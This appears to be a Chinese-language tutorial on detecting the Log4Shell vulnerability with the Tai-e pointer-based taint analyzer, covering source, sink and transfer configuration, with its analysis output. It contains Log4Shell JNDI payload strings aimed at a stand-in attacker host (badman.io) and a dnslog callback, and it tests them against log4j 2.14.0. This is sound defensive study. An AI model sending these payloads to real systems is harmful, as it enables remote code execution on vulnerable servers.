Java 污点分析(追踪污点数据流)最令人头疼的两个难点:别名关系和动态反射。
Tai-e 污点分析提出一个基于指针分析的架构,来解决别名分析和反射分析两个问题。
解决方案思路:
日志方法:logger.error(str)
将 ${...} 中的特定字符串映射到相应的值,举例如图所示。
表达式 | 解析值 |
---|---|
logger.error("${java:version}") | Java version 1.8.0_292 |
logger.error("${java:os}") | Windows 10 10.0, architecture: and64-64 |
通过 lookup 机制,让 log4j 的记录功能更加强大,跨平台性更强,还可以通过该机制输出环境信息而无需硬编码。
JNDI(Java Naming and Directory Interface):${jndi : ...}
LDAP(Lightweight Directory Access Protocol):${jndi : ldap: ...}
构造恶意 payload:${jndi : ldap://badman.io/Exploit}。
Log4Shell 本质上是个注入漏洞(Injection),可通过污点分析(Taint Analysis)进行检测,该漏洞的入口方法、利用方法如下所示。
Logger.error(...)
⬇️
...
JNDI Lookup
使用太阿提供的测试主程序:
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Server { public static void main(String[] args) { Logger logger = LogManager.getLogger(Server.class); String input = getInput(); logger.error(input); } private static String getInput() { return "${jndi:ldap://badman.io/Exploit}"; } }
Sources:标记为用户输入。污点数据来源于 Main 的 getInput() 方法,当系统调用该方法时获得污点数据。
sources:
- {kind: call, method: "<Main: java.lang.String getInput()>", index: result}
Sinks:对应的是 JNDI Lookup,在 log4j 中是调用 InitialContext 的 lookup() 方法来启动 JNDI 的 lookup,所以可以把 Sink 标记为 javax.naming.InitialContext.lookup(String) 。
sinks:
- { method: "<javax.naming.InitialContext: java.lang.Object lookup(java.lang.String)>", index: 0}
污点分析要做的内容,就是找出 error 到 JNDI Lookup 的一条传播路径。
实践检测 Log4Shell 时遇到的挑战:
使用 IDEA 创建一个 Maven 项目,使用 pom.xml 配置 log4j 2.14.0:
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-web</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
测试程序:编写一个 Java 测试类,动态传入 logger.error(str) 的字符串参数。
package org.example; import org.apache.logging.log4j.*; import java.lang.String.*; public class Main { public static void main(String[] args) { Logger logger = LogManager.getLogger(); //String poc = "${java:os}"; String poc = getInput(); logger.error(poc); } private static String getInput(){ return "${jndi:ldap://9710ck.dnslog.cn}"; } }
运行测试,确认成功执行 payload:
分析漏洞配置 Tai-e 的步骤:
步骤 | 内容 |
---|---|
第一步 | 配置 Source 和 Sink |
第二步 | 配置污点转移 |
第三步 | 配置反射分析 |
参考资料:配置污点分析-官方文档。
Tai-e 使用 YAML 配置文件配置源、接收器、污点传输和清理程序,以进行污点分析。
仅对不熟悉的概念进行介绍。
设置污点分析时,通常有必要表示 call site 或一个方法的变量。
第一种,调用点的变量,比如 r = o.foo(p, q);
类型 | 描述 | 表示 |
---|---|---|
结果变量 | 方法调用的结果,也叫做左手边变量 | result |
基变量 | 方法调用的接收器对象,指在方法点号 . 之前指定的实例对象 | base |
参数 | 调用点的参数,从 0。开始索引 | 0,1,2,... |
第二种,方法的变量,目前支持通过方法的索引来指定参数,比如 foo 方法的参数 t, s, o 的索引是 0, 1, 2。
package org.example; class MyClass { void foo(T t, String s, Object o) { ... } }
字段签名的目的是在分析的程序中唯一标识字段。 字段签名的格式如下:
<CLASS_TYPE: FIELD_TYPE FIELD_NAME>
例如下面字段的签名info
package org.example;
class MyClass {
String info;
}
其字段签名为:
<org.example.MyClass: java.lang.String info>
污点对象根据 sources 生成。在配置文件中,sources 被指定为一个 source entries 的清单,放置在 sources 键后。
最常用的 source 类型是 Call Sources
,适用于污点对象在 call sites 生成的场景,格式如下:
- { kind: call, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }
如果在配置文件中编写 call sources ,当污点分析发现 METHOD_SIGNATURE 在 call site 被调用时,太阿会为调用点的变量创建一个 Type 类型的污点对象。(Type 为可选性质,如果没有指定,应当是生成函数返回类型的污点对象)
提示:可能有人想知道,为什么函数签名中已经包含方法的声明类型,还需要包含 type: Type
字段。
type: Type
在这种情况下指定准确的对象类型比如下面一段代码,source() 的声明类型是 X,但实际上返回的对象类型是 X 的子类 Y。
class X {...}
class Y extends X { ... }
class Z {
X source() {
...
return new Y();
}
}
理解:污点分析的数据源往往来源于封装的方法,比如 request.getParameter(str)、request.getInputStream()。根据 source 建立的污点对象,即是这些调用点的返回对象,也即是污点分析要追踪的数据流。
某些方法(例如入口方法)在程序内没有显式调用点,因此无法在其调用点为变量生成污点对象。 然而,在某些情况下,为其参数生成污点对象可能很有用。 为了满足这一要求,太阿的污点分析提供了配置参数源的功能:
- { kind: param, method: METHOD_SIGNATURE, index: INDEX, type: TYPE }
理解:一般情况下,JavaWeb 污点分析中 source 的 kind 都为 call。
太阿的污点分析还允许用户使用以下格式将字段指定为污点源:
- { kind: field, field: FIELD_SIGNATURE, type: TYPE }
在配置中包含此类源时,如果污点分析发现字段 FIELD_SIGNATURE
已加载到变量 v
中(例如 v = o.f
),它会为生成一个TYPE
的污点对象。
目前太阿支持指定 sink 方法的特定变量作为 sinks。在配置文件中,sinks 被指定为一个 sink entries 的清单放置在 sources 键后。
sinks: - { method: METHOD_SIGNATURE, index: INDEX } - ...
当污点分析识别出 call sites 调用了 Method_Signature 和 Index 表示的变量时,太阿将为检测到的污点流生成报告。
比如 new File(name) 根据文件名创建文件对象,设置其为 sinks 得到:
sinks:
- { method: "<java.io.File: java.io.File File(java.lang.String)", index: 0 }
这部分好像是追踪数据流的关键,尝试梳理一下思路。
回顾一下《程序分析》的理论课程,主要讲解了 Soundness、中间表示 IR、数据流分析的方向/代码帧的建模和计算、过程间分析、指针分析等等。
通过回顾发现,指针分析的语句场景是 New、Assign、Store、Load、Call 等五种,污点对象基本通过这些语句进行流动,看起来能够满足追踪数据流的需要。
提出疑问:那么我们为什么还需要污点转移?或者说有了指针分析,污点对象的数据流追踪为什么还会中断?
尝试解答:经过查找资料和思考,还是在官网文档中找到了答案。
比如示例代码:
String taint = getSecret(); // source StringBuilder sb = new StringBuilder(); sb.append("abc"); sb.append(taint); // taint is transferred to sb sb.append("xyz"); String s = sb.toString(); // taint is transferred to s leak(s); // sink
调用 sb.append() 语句时,taint 转移到了一个 StringBuilder 对象。调用 sb.toString() 语句时,taint 又从 StringBuilder 对象转移到了 String 对象。
对于这两个方法调用语句,我们需要告诉太阿,污点对象指向了哪个新的对象。比如污点对象流到 java.lang.StringBuilder 的 append(java.lang.String) 语句时,污点对象流向的对象就变成了方法的返回类型,即 java.lang.StringBuilder 对象。
这两条语句的执行,就会为污点对象的 Pointer Flow Graph 添加两个新的节点:java.lang.String --> java.lang.StringBuilder --> java.lang.String。
如此以来,污点对象的数据流追踪/其实就是指针流向图 就可以继续往下分析。
transfers: - { method: "<java.lang.StringBuilder: java.lang.StringBuilder append(java.lang.String)>", from: 0, to: base } - { method: "<java.lang.StringBuilder: java.lang.String toString()>", from: base, to: result }
突然意识到,污点对象的数据流追踪其实就是指针流向图,通畅了。
污点转移的概念:
列举五种污点转移的情况,由方法调用 base.foo(a~0~, a~1~, ..., a~n~) 引起。
不同的 base、foo 甚至 a~n~ 都可能导致不同的污点转移,尝试思考污点转移问题的解决思路:
参考文档:Tai-e 0.5.1 参考文档。
本地环境如下,根据参考文档创建和配置项目。
单独下载太阿的 java-benchmarks 子模块,该存储库包含分析所使用的 Java 库。
太阿的主类是 pascal.taie.Main,其配置项有三类。
配置项 | 说明 |
---|---|
程序选项 | 指定要分析的程序 |
分析选项 | 指定要执行的分析 |
其他选项 | - |
这些选项指定要分析的 Java 程序(比如P)和库。
由于 Soot 仅部分支持 Java7 版本,建议使用太阿分析字节码,而不是源代码。
.class
(或 .java
)文件的目录的相对/绝对路径这些选项决定要执行的分析及其行为,分为两组。
cg
,即调用图构建)src/main/resources/tai-e-analyses.yml
列出--output-dir <outputDir>
output
文件夹中。如果您希望将输出保存到不同的目录,只需使用此选项即可。假设我们要分析一个程序P,如下所述:
foo.jar
(JAR 文件)和 my program/dir/bar.class
(类文件)。baz.Main
那么选项将是:
java -jar tai-e-all.jar -cp foo.jar -cp "my program/dir/" -m baz.Main -java 8 -a "pta=cs:2-type;time-limit:60;"
根据视频教程,自己动手用太阿检测 Log4Shell,只需要做两件事。
编辑太阿运行配置,使用 --options-file 指定运行参数:
运行结果查看 output/tai-e.log,可以看到找到一个污点流。
Detected 1 taint flow(s):
TaintFlow{
<Server: void main(java.lang.String[])>[12@L8] temp$4 = invokestatic Server.getInput()/result
->
<org.apache.logging.log4j.core.net.JndiManager: java.lang.Object lookup(java.lang.String)>[1@L172] $r3 = invokeinterface $r2.lookup(name)/0}
将污点分析结果 .dot 转换成 svg 文件
dot -Tsvg -o taint-flow-graph.svg taint-flow-graph.dot
dot语言是一种使用代码描述各种图形关系的工具,通常需要安装Graphviz。
brew install graphviz
生成的污点流如图所示: